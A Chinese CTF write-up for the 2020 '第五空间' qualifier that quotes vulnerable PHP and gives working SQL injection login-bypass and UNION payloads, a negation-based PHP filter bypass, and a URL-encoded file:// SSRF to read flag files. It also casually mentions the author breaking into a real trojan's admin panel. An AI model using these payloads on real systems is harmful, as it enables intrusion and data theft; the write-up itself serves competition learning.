0%

2020″第五空间”智能安全大赛线上初赛Writeup

美团外卖

这道题是我上次日的裸聊木马后台…..

登陆注入

  • login.php,登陆是调用了\common\Function.php,的login()函数。直接定位到该函数(如下),可以看到他对调用了GetValue()可以简单了解传入了用户名和表名获取了密码再和传入的密码的md5加密后的值进行比较。
function Login(){
    $x1=1;//用户名长度限制
    $x2=1;//用户密码长度限制
    if(strlen(P('username'))>0 and strlen(P('password'))>0){
if(1<0){
    Nts('请输入信息登录');
}
else{

    if(GetValue('admin.upass',"uname='".P('username')."' and id>0")==md5(P('password'))){
    $_SESSION['adminuser']=array();
    $_SESSION['adminuser']['uname'] = GetValue('admin.uname',"uname='".P('username')."' and id>0");
    $_SESSION['adminuser']['id'] = GetValue('admin.id',"uname='".P('username')."' and id>0");
    $_SESSION['adminuser']['qudao'] = GetValue('admin.qudao',"uname='".P('username')."' and id>0");
        Tz('index');
    }
    else{
        Nts('登录失败!');
    }

}    
    }

}
  • 我们再来看GetValue()的原函数,在同一文件下的243行,可以明显看到没有对传入参数进行过滤,而且对传入的第一个参数进行了分割,我们在登陆验证时候传入的第一参数是admin.upass,也就是分割成,admin和upass,第二个参数是"uname='".P('username')可以还原为:select upass from admin where uname='$_POST['username]',这里我们直接传入一个不存在的用户名使用联合注入指定返回的密码即可
function GetValue($str,$where){
    $str = explode('.',$str);
    $a = mysqli_query($GLOBALS['link'],"select ".$str[1]." from ".$str[0]." where $where");
    $row = mysqli_fetch_array($a);
    if($row){
        return $row[$str[1]];
    }
    else{
        return false;
        }
}
  • 登陆注入payload如下:
账号:1'union select '21232f297a57a5a743894a0e4a801fc3'--+
密码:admin

导出列表显注

  • 在daochu.php存在明显的注入。关键代码如下,直接使用联合注入即可:
if($type==1){
    $biao='content';
    $result = mysqli_query($link,'select * from '.$biao.' where imei="'.$imei.'" and  imei2="'.$imei2.'"');

    echo 'select * from '.$biao.' where imei="'.$imei.'" and  imei2="'.$imei2.'"';


echo '<table border="1">';
echo '<tr><th>user</th><th>code</th><th>name</th><th>phonenumber</th></tr>';
while ($row = mysqli_fetch_assoc($result)){
    echo "<tr><td>".$row['imei']."</td><td>".$row['imei2']."</td><td>".$row['name']."</td><td>".$row['tel']."</td></tr>";
}
echo '</table>';
}
  • payload:
daochu.php?imei=a&type=1&imei=-1&imei2=-1%22union+select+1,2,3,(select+hints+from+hint),5,6--+

微信截图_20200624224236

文件上传发现后门

  • 提示看956c110ef9decdd920249f5fed9e4427看这个文件夹。打开还是这个系统,不过这次这个系统文件是齐全的。我们在代码审计时候就发现\lib\webuploader\0.1.5\serverpreview.php能够上传文件。于是构造构造一个base64上传一个文件看看,提示!!!! Congratulations on infiltrating here, but it's a pity that someone has infiltrated and left a Trojan, do not continue here , please see the e98a4571cf72b798077d12d6c94629.php !!!!! OK最后直接getflag即可。。。。

微信截图_20200624224641

  • 最终EXP
http://119.3.183.154/956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/server/e98a4571cf72b798077d12d6c94629.php?file=/flag

微信截图_20200624224840

hate-php

  • 老套路取反,没啥难度
  • EXP
http://121.36.74.163/?code=${~%a0%b8%ba%ab}{%a0}(${~%a0%b8%ba%ab}{%a1})&%a0=highlight_file&%a1=flag.php

do you know

  • 上来直接来代码,代码是从xctf-final里面一道题扣出来的。总共有五个文件,index.php、xxe.php、hints.php、main.php、flag.php,从代码来看,第一步ssrf没有直接传参的,所以目测使用gopher://进行post打xxe.但是我一直没有构造成功。
<?php
highlight_file(__FILE__);
#本题无法访问外网
#这题真没有其他文件,请不要再开目录扫描器了,有的文件我都在注释里面告诉你们了
#各位大佬...这题都没有数据库的存在...麻烦不要用工具扫我了好不好
#there is xxe.php
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
                die("no hacker");
        }
$ids=explode('&',$poc);
$a_key=explode('=',$ids[0])[0];
$b_key=explode('=',$ids[1])[0];
$a_value=explode('=',$ids[0])[1];
$b_value=explode('=',$ids[1])[1];

if(!$a_key||!$b_key||!$a_value||!$b_value)
{
        die('我什么都没有~');
}
if($a_key==$b_key)
{
    die("trick");
}

if($a_value!==$b_value)
{
        if(count($_GET)!=1)
        {
                die('be it so');
        }
}
foreach($_GET as $key=>$value)
{
        $url=$value;
}

$ch = curl_init();
    if ($type != 'file') {
        #add_debug_log($param, 'post_data');
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    } else {
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 180);
    }

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

    // 设置header
    if ($type == 'file') {
        $header[] = "content-type: multipart/form-data; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    } elseif ($type == 'xml') {
        curl_setopt($ch, CURLOPT_HEADER, false);
    } elseif ($has_json) {
        $header[] = "content-type: application/json; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    }

    // curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
    // dump($param);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
    // 要求结果为字符串且输出到屏幕上
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    // 使用证书:cert 与 key 分别属于两个.pem文件


    $res = curl_exec($ch);
    var_dump($res);
  • 这里出题人使用$_SERVER[‘QUERY_STRING’]对参数进行过滤,众所周知$_SERVER[‘QUERY_STRING’]是不会进行urldecode的。所以这里直接urlencode直接可以绕过这个过滤,getflag.
http://121.36.64.91/?a=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70&b=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70